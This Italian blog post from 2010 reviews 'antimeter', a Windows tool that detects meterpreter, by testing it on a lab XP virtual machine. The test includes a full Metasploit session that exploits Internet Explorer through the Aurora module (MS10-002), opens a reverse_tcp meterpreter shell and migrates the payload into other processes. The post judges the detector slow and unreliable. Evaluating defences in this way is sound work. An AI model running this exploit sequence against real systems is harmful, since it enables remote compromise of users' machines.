Antimeter ovvero anti Meterpreter
by admin on Jun.14, 2010, under Hacking, Sicurezza, Tools
Avendo ricevuto gentilmente da parte di Gianmarco Castagna (http://freeware–software.blogspot.com/) la segnalazione della esistenza di un tool (per Windows) chiamato antimeter, capace di individuare la presenza in memoria del meterpreter di Metasploit (ed anche terminarlo), nonché di una opinione in proposito, mi sono dato un po’ da fare per vedere di cosa si trattasse.
Antimeter è la recente creatura (22 maggio) dell’hacker turco Mert Saricam, che a distanza di 4 giorni è già approdata alla versione 2.0.
L’ultima versione prevede alcuni argomenti opzionali e ha subito l’aggiunta della funzionalità di logging (il log file è antimeter.txt):
-t [time interval] Scansiona la memoria ad intervalli di tempo specificati (per default, ogni minuto)
-a Termina automaticamente il processo meterpreter (Disabilitato per default)
-d Si limita solamente a rilevare l’eventuale presenza del processo meterpreter (Disabilitato per default)
-e [nome programma] Aggiunge il programma specificato ad una lista di processi esclusi dall’essere esaminati
-v Abilita la modalità verbose
Alcuni esempi di utilizzo sono:
antimeter.exe -t 5 -a -v
che scansiona la memoria ogni 5 minuti, terminando automaticamente il processo meterpreter, col verbose mode abilitato.
antimeter.exe -n
che scansiona la memoria ogni minuto, limitandosi a rilevare la presenza di meterpreter.
antimeter.exe -e explorer.exe,winlogon.exe
che scansiona la memoria ogni minuto, escludendo i processi explorer e winlogon dall’essere esaminati.
Ho dovuto combattere un po’ per far funzionare antimeter, dato che una volta scompattato il tool in una directory tutta sua, il relativo eseguibile si rifiutava di avviarsi ed il visualizzatore di eventi, in tale circostanza, indicava cripticamente la mancanza di un “assembly sidebyside”.
Disponendo solamente di un Windows XP SP2 su VirtualBox, ho inizialmente sospettato che l’anomalia dipendesse da ciò.
Dato che comunque, almeno per queste cose, “Google is my friend”, ho deciso di insistere ancora un po’, ed ho trovato un buon suggerimento ad utilizzare il tool Dependency Walker, una utility free che esamina qualsiasi modulo Windows a 32 o 64-bit (exe, dll, ocx, sys, ecc.) e costruisce un diagramma ad albero gerarchico di tutti i moduli dipendenti.

Grazie a tale tool diveniva evidente la semplice mancanza di msvcr90.dll, mancanza risolta installando sulla VM il Microsoft Visual C++ 2008 SP1 Redistributable Package (x86), che comprende i componenti runtime delle Librerie Visual C++ necessari per l’esecuzione di applicazioni sviluppate con Visual C++ SP1 su di un computer che ne sia sprovvisto.
Dopodiché la libreria mancante si andava a posizionare in C:\Windows\SxS\.
Risolta in tal modo la dipendenza, l’eseguibile antimeter si avviava regolarmente, e, senza parametri aggiuntivi, iniziava a scansionare la memoria ad intervalli di tempo prestabiliti (1 minuto).
Restava solo da verificare l’effettiva funzionalità del tool, lanciato successivamente sulla vm con:
antimeter.exe -t 5 -d
Per instaurare la sessione di meterpreter ho sfruttato una vulnerabilità client-side ai danni del browser Internet Explorer (la ormai famosa Aurora):
msf > use windows/browser/ms10_002_aurora msf exploit(ms10_002_aurora) > set SRVHOST 192.168.1.10 SRVHOST => 192.168.1.10 msf exploit(ms10_002_aurora) > set LHOST 192.168.1.10 LHOST => 192.168.1.10 msf exploit(ms10_002_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(ms10_002_aurora) > set URIPATH / URIPATH => / msf exploit(ms10_002_aurora) > exploit [*] Exploit running as background job. [*] Started reverse handler on 192.168.1.10:4444 [*] Using URL: http://192.168.1.10:8080/ [*] Server started. msf exploit(ms10_002_aurora) > [*] Sending Internet Explorer "Aurora" Memory Corruption to client 192.168.1.11 [*] Sending stage (748032 bytes) to 192.168.1.11 [*] Meterpreter session 1 opened (192.168.1.10:4444 -> 192.168.1.11:1043) at Mon Jun 14 15:53:41 +0200 2010 msf exploit(ms10_002_aurora) > sessions -i 1 [*] Starting interaction with 1... meterpreter > ps Process list ============ PID Name Arch Session User Path --- ---- ---- ------- ---- ---- 0 [System Process] [...] 1668 explorer.exe x86 0 XPHONEY\Administrator C:\WINDOWS\Explorer.EXE 1796 ctfmon.exe x86 0 XPHONEY\Administrator C:\WINDOWS\system32\ctfmon.exe 1812 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe 1080 wscntfy.exe x86 0 XPHONEY\Administrator C:\WINDOWS\system32\wscntfy.exe 1596 IEXPLORE.EXE x86 0 XPHONEY\Administrator C:\Programmi\Internet Explorer\iexplore.exe 484 cmd.exe x86 0 XPHONEY\Administrator C:\WINDOWS\system32\cmd.exe 552 alg.exe x86 0 C:\WINDOWS\System32\alg.exe 2016 antimeter.exe x86 0 XPHONEY\Administrator C:\Programmi\Antimeter2\antimeter.exe meterpreter > migrate 1668 [*] Migrating to 1668... [*] Migration completed successfully. meterpreter > migrate 2016 [*] Migrating to 2016... [*] Migration completed successfully.
Dal punto di vista della rilevazione, i risultati si sono dimostrati un po’ deludenti, per vari motivi:
Intanto, il tool si è rivelato un divoratore di risorse, per quanto fossero stati allocati 256 Mb di memoria alla macchina virtuale XP.
In secondo luogo, esso riusciva a rilevare la presenza di meterpreter solo con ampio ritardo, quando la migrazione ad altro processo era stata effettuata già da qualche minuto. Dato che le medesime rilevazioni si ripresentavano regolarmente, si potevano pertanto considerare delle false positività.
Infine, il tool non riusciva a rilevare la presenza di meterpreter nel proprio spazio medesimo.

Dovendo tirare delle conclusioni, quello che mi sento di affermare è che antimeter è un buon proof of concept, ma deve percorrere ancora parecchia strada nello sviluppo per potersi tramutare in uno strumento di lavoro effettivamente utile.
Rivolgerei comunque a qualche volonteroso l’invito a verificare quanto sperimentato su una reale macchina Windows, e all’autore, di rilasciare anche i sorgenti.
Non è infatti concepibile l’esecuzione di un tool del genere, a scatola chiusa, se non su una macchina di test.

